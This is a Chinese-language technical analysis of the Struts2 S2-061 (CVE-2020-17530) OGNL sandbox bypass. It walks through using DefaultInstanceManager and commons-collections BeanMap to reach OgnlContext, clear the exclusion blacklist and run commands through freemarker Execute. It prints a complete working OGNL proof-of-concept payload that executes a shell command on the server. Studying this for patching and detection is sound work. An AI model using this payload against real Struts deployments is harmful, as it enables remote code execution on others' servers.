前言
针对 S2-061 的修复,在黑名单上做了文章,S2-061 是针对 S2-059 的沙盒绕过做了修复,漏洞利用点还是和 S2-059 一样,不知道 S2-059 是怎么触发的移步:CVE-2019-0230: S2-059 远程代码执行漏洞分析, Struts-2.5.26 的几次黑名单的更新如下:


在分析本次沙箱绕过之前,先了解一下目前为止沙箱里的一些机制,针对于OGNL表达式来说,存在一些限制:
- 不能在OGNL表达式里直接对静态方法进行调用
- 不能在OGNL表达式里调用
public方法以外的方法 - 不能在OGNL表达式使用
#_memberAccess/#context获取相关对象的实例 - 不能在OGNL表达式里直接调用黑名单里的类、方法
- 有些即使是清空黑名单也无法执行的方法,比如
Runtime.class,这个体现在OgnlRuntime#invokeMethod
但是在S2-057里,可以通过attr来间接获取context实例,但是之后将com.opensymphony.xwork2.ognl.加入了黑名单,也不能通过attr来获取context的实例了。
context结构如下:
漏洞详情
没办法通过#context获取到OgnlContext,但我们可以考虑使用其他方法,比如在#appliaction目前是能够获取的,在他里面存在一个值org.apache.tomcat.InstanceManager。

对应的value是DefaultInstanceManager的实例。而在DefaultInstanceManager下存在public方法newInstance,可以用来实例化类,但是只能实例化无参构造方法。

同时,在commons-collections3.2.2包下有一个类叫做BeanMap,在BeanMap的setBean方法中会调用reinitialise方法,这里的setBean方法里我们可以设置当前bean为某个类。

reinitialise方法又会调用initialise方法,

获取OgnlContext
在initialise我们可以调用当前bean的get/set方法(具体体现在beanInfo.getPropertyDescriptors)

在BeanMap中,readMethod对应着当前bean的getter,而writeMethod对应setter。


接着会调用put方法,将getter返回的结果保存在BeanMap里,BeanMap本质上还是一个Map,我们可以通过OGNL表达式来获取BeanMap里的值。


所以,利用DefaultInstanceManager实例化BeanMap之后,就能利用BeanMap调用任意类的get/put方法了。
那么也就意味着我们能将bean设置为OgnlValueStack,从而就能调用OgnlValueStack的getContext方法,这样就能获取到OgnlContext的实例。
而OgnlValueStack的实例可以通过#attr['struts.valueStack']进行获取。
所以,获取OgnlContext的OGNL表达式为:
1 | (#a=#application['org.apache.tomcat.InstanceManager']).(#beanMap=#a.newInstance('org.apache.commons.collections.BeanMap')).(#beanMap.setBean(#attr['struts.valueStack'])).(#ognlContext=#beanMap['context']) |
获取MemberAccess
现在我们能够获取到OgnlContext了,同理我们再次通过BeanMap将当前bean设置为我们已经获取到的OgnlContext实例,利用BeanMap调用bean的getter的特性,来调用OgnlContext的getMemberAccess方法获取到SecurityMemberAccess的实例。


获取MemberAccess的OGNL表达式为
1 | (#beanMap.setBean(#ognlContext)).(#memberAccess=#beanMap['memberAccess']) |
清空黑名单
虽然我们可以拿到SecurityMemberAccess的实例,但是不能直接使用ognl表达式#memberAccess.setExcludedClasses(#hashSet) 来清空黑名单,因为通过ognl表达式这样直接调用方法是会经过OGNL黑名单的,com.opensymphony.xwork2.ognl.是在黑名单里的,而SecurityMemberAccess是在这个package下的,所以,需要换一种思路。

方法就是利用之前的BeanMap,BeanMap的put方法会调用当前bean的setter,而不会通过ognl的方法执行机制,直接使用inovke执行方法,所以这里我们就能再次将当前bean设置为SecurityMemberAccess,再去通过BeanMap的put方法触发setExcludedClasses方法。(既然能调用Set,那么Fastjson里JNDI注入的利用在这里也是可行的。)
清空了黑名单之后我们依然不能使用Runtime来直接执行命令,因为OgnlRuntime#invokeMethod限制了方法的执行。
1 | public static Object invokeMethod(Object target, Method method, Object[] argsArray) throws InvocationTargetException, IllegalAccessException { |
所以利用的是之前黑名单里的一个类:freemarker.template.utility.Execute,该类的exec方法能够执行命令

POC
1 | %{(#a=#application['org.apache.tomcat.InstanceManager']).(#beanMap=#a.newInstance('org.apache.commons.collections.BeanMap')).(#beanMap.setBean(#attr['struts.valueStack'])).(#ognlContext=#beanMap['context']).(#beanMap.setBean(#ognlContext)).(#memberAccess=#beanMap['memberAccess']).(#hashSet=#a.newInstance('java.util.HashSet')).(#arrayList=#a.newInstance('java.util.ArrayList')).(#arrayList.add('ifconfig')).(#beanMap.setBean(#memberAccess)).(#beanMap.put("excludedPackageNames",#hashSet)).(#execute=#a.newInstance('freemarker.template.utility.Execute')).(#execute.exec(#arrayList))} |
利用情况

参考
Struts2 S2-061漏洞分析(CVE-2020-17530)
CVE-2019-0230: S2-059 远程代码执行漏洞分析
浅析 OGNL 的攻防史